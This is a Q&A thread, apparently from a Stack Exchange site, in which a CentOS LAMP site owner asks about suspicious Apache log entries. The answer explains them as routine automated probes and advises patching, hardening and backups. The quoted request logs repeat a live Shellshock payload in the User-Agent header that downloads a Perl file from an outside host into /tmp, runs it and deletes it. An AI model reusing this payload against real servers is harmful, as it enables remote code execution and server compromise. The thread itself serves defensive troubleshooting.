Should I be concerned about hacking attempts via wget on a CentOS/LAMP-based web server?

This is a bit confusing, by the way I’m not a system administrator and only know a little bit about handling a Linux.

I’m running a LAMP-based website and hosting it on Digital Ocean. The server is CentOS 7 and I installed a few security tools like like Fail2ban. I frequently check the error logs and request logs, just today I saw a few disturbing requests; examples below.

My question is, does the hacker is trying to plant the virus file name "a2.png" to my /tmp folder? and does the hacker success planting it?

How should I know if the virus is now running in my server?

So far I can’t see that the file name exist in my tmp folder. What security measurement or server hardening should I install? And proper configuration of the apache? I only used the standard config of apache when I install the LAMP.

The website I’m handling is on virtual host and I’m using a framework to make it more secure. I’m not just sure If I’m on the right track securing my web server, I only installed Fail2ban for the logged-in attempt.

Error Log Examples

[Tue Aug 25 09:48:39.688528 2015] [core:error] [pid 24312] [client 64.15.155.177:33663] AH00126: Invalid URI in request GET HTTP/1.1 HTTP/1.1

[Tue Aug 25 09:48:40.877570 2015] [cgi:error] [pid 24306] [client 64.15.155.177:35398] script not found or unable to stat: /var/www/cgi-bin/report.cgi

[Tue Aug 25 09:48:41.042423 2015] [cgi:error] [pid 24331] [client 64.15.155.177:35687] script not found or unable to stat: /var/www/cgi-bin/webmap.cgi

Request Log Examples

64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET HTTP/1.1 HTTP/1.1" 400 226 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 301 234 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /main.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /info.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /index.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /admin.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
121.54.44.93 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 200 3785 "-" "Mozilla/5.0 (Linux; Android 4.4.2; en-ph; SAMSUNG SM-G7102 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/register.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/download.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"

Solution 1:

As Fiasco Labs points out in their answer, these type of log entries are a dime-a-dozen. But as a systems administrator with a deep history managing and protection LAMP-based web servers, this is not an attack as much a scripted “probe” of your system by someone somewhere. These probes/scans of a system are done to see what—if any—servers out there are vulnerable; not just your servers. In general this is the equivalent of the “war dialing” that was fairly commonplace in the 1980s/1990s days of system hacking via acoustic modem; scan a list of systems, see what systems have “flaws” and then see what you can do with those supposed flaws.

Should you be panicked about this? Not at all. Any and every web server on the Internet is being constantly probed. I manage a few Ubuntu Linux web servers and I am 100% positive if I were to check my logs right now, tomorrow, a day from now, etc… I would see entries similar to what you are seeing. But I am not losing sleep over this at all. The reality is if your core OS is properly patched and the framework you are using is patched and up to date, you are in good shape.

Using a tool like Fail2Ban is not a bad idea, but I consider it a bit of overkill if you ask me. The reason being that even with a tool like Fail2Ban or even ModSecurity, a clever bot might still get through. Which is why my best advice to any systems administrator is to harden their servers and have a way to easily recover from a systems compromise.

Harden Your Server and Your Codebase

What I consider best security practice is hardening you LAMP server setup and ensuring our PHP code is solid. This answer on the security Stack Exchange site is a good starting point in understanding what “hardening” means, but honestly if you are not a systems administrator much of this might be over your head.

So I would recommend that unless you are truly up to the task of learning how to be a Linux systems administrator, you might be better off using some shared hosting provider somewhere. That way their admins use their skills to worry about this stuff and you can concentrate on running/coding the website.

That said, even with a shared hosting setup, you are not off of the hook. Even if you are using a well-regarding PHP framework, you need to stay on top of patching that PHP framework pretty much whenever an update is released. And as far as your core code base, you should be sure to not cut corners on basic security practice in how you code. You basically should learn how to sanitize any/all input your site receives and how to properly setup the site so even if it fails, it doesn’t do so in a way that is a disaster.

Backups and Disaster Recovery

And in my mind that means backups, backups, backups as well as more backups. You can never control server compromise, but data/system recovery is always in your control. Which all means you need to have some kind of small-scale “disaster recovery plan” in place to restore your site.

Which means, be sure to backup your core codebase so if it is ever compromised, you can easily redeploy clean code without much effort. To that end I would highly recommend you use a source code management tool like git for your version tracking as well as setting up a GitHub repository for remote storage. Also, learn how to use Capistrano with PHP to deploy code; I have an answer that addresses how to do this over here.

Ditto with your MySQL database; depending on size/scale have backups available. I like to have MySQL backups on small-to-medium sized sites run every 3-4 hours. That way the worst that might happen if a site is hacked is the database is at the most 3-4 hours stale; a stale database within the same day is better than a wrecked database with no backup at all.